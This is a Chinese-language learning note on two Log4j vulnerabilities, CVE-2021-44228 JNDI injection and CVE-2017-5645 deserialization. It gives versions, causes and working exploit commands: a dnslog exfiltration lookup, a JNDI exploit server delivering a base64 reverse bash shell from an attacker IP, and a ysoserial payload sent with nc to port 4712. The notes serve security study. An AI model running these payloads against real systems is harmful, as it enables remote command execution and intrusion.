log4j基础漏洞学习

lookup JNDI注入 (CVE-2021-44228)

  • 前提:
    1. 2.0-beta9 <= log4j2 <= 2.14.1
    2. 使用log4j2记录 用户可控数据
    3. 存在可利用的JNDI注入
  • 后果: 任意命令执行
  • 利用:
    找到: 寻找会被日志记录的可操控内容
    验证: 日志内容中包含${ldap://${sys:java.version}.xxx.dnslog.cn}通过dnslog验证
    工具创建远程服务器: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码命令}|{base64,-d}|{bash,-i}" -A 攻击者IP
    加载远程恶意代码: 日志内容中包含${jndi:<工具提供的url>}
  • 原理:
    对应版本下look4j2提供了lookup服务, 其会动态解析日志内容中的${}表达式,
    其中的${jndi:<url>}会触发JNDI请求 , 所以可以造成JNDI注入

反序列化命令执行 (CVE-2017-5645)

  • 前提:
    1. 2.0-alpha1 <= log4j <= 2.8.1
    2. 目标系统使用Log4j的SocketServer功能(默认开启), 并可访问到(4712端口)
    3. 存在可被利用的反序列化链
  • 后果: 任意命令执行
  • 利用: java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" | nc <目标ip> 4712
  • 原理:
    log4j存在SocketServer功能, 且默认开启, 监听4712端口, 可接收远程用户端发送的日志信息
    其在对应版本时直接用ObjectInputStream反序列化输入流, 存在反序列化漏洞
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇